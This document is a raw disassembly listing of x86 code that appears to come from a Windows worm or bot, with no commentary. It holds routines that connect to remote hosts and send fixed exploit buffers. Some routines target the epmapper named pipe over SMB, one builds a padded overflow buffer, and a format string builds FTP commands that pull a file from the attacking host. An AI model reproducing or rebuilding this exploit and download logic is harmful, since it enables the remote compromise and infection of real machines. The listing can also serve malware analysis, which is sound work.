		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	dword_4211E8
		mov	esi, offset byte_42C1FC
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aDd_	; "dd."
		push	offset aDd	; "dd"
		push	offset a58730	; "58730"
		push	offset dword_4689B4
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211EC
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961

loc_40295D:				; CODE XREF: sub_40283D+54j
					; sub_40283D+6Aj ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------

loc_402961:				; CODE XREF: sub_40283D+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	dword_4211E8
		push	[ebp+var_4]
		call	dword_4211F0
		mov	al, 1

loc_402983:				; CODE XREF: sub_40283D+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]

loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155D0
		mov	ax, word_424F58
		add	esp, 2Ch
		push	eax
		call	dword_4211DC
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]

loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------

loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155D0
		mov	eax, dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax

loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17

loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------

loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------

loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155D0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h

loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40283D
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: .nsp0:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_4211D8
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	dword_4211DC
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_4211E0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211E8
		call	esi
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1

loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------

loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------

loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1

loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30

loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1

loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	dword_4211F0
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax

loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9

loc_402FD6:				; CODE XREF: .nsp0:00402FD0j
		push	1
		pop	eax

loc_402FD9:				; CODE XREF: .nsp0:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: sub_4033CB+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_438FDC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_421064
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438FD8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43A458
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB

loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43A458

loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------

loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax

loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: sub_4033CB+7Ap
					; sub_4033CB+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_438FDC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_421064
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		add	esp, 10h

loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43A2F8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	dword_421060
		jmp	short loc_403151
; ---------------------------------------------------------------------------

loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: sub_4033CB+A9p
					; sub_4033CB+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D70
		push	esi
		push	edi
		push	offset byte_42C1FC
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414E04
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------

loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------

loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3

loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A

loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------

loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC

loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155D0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155D0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DC9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415570
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155D0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033CB	proc near		; CODE XREF: .nsp0:00402FA3p
					; sub_40778B+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D70
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_421078
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403450

loc_403441:				; CODE XREF: sub_4033CB+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------

loc_403450:				; CODE XREF: sub_4033CB+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_412B98
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DC9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	[ebp+var_4]
		call	dword_421074
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4034D8
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_421070
		test	eax, eax
		jnz	short loc_4034F6

loc_4034D8:				; CODE XREF: sub_4033CB+F3j
		push	esi
		call	sub_415E3D
		push	[ebp+var_8]
		call	sub_415E3D
		pop	ecx
		pop	ecx

loc_4034E8:				; CODE XREF: sub_4033CB+B9j
		push	[ebp+var_4]
		call	dword_42106C
		jmp	loc_403441
; ---------------------------------------------------------------------------

loc_4034F6:				; CODE XREF: sub_4033CB+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_421068
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415E3D
		push	esi
		call	sub_415E3D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42106C
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------

loc_403539:				; CODE XREF: sub_4033CB+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412B98
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43A438
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
